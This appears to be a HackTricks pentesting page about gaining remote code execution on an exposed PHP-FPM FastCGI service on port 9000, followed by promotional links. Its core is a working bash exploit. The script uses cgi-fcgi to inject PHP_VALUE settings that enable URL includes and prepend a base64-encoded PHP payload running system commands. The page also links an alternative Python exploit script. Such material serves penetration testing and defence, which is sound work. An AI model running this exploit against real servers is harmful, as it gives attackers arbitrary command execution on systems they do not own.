4 KiB
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Basic Information
If you want to learn what is FastCGI check the following page:
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}
By default FastCGI run in port 9000 and isn't recognized by nmap. Usually FastCGI only listen in localhost.
RCE
It's quiet easy to make FastCGI execute arbitrary code:
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
or you can also use the following python script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
-
Discover The PEASS Family, our collection of exclusive NFTs
-
Get the official PEASS & HackTricks swag
-
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
-
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.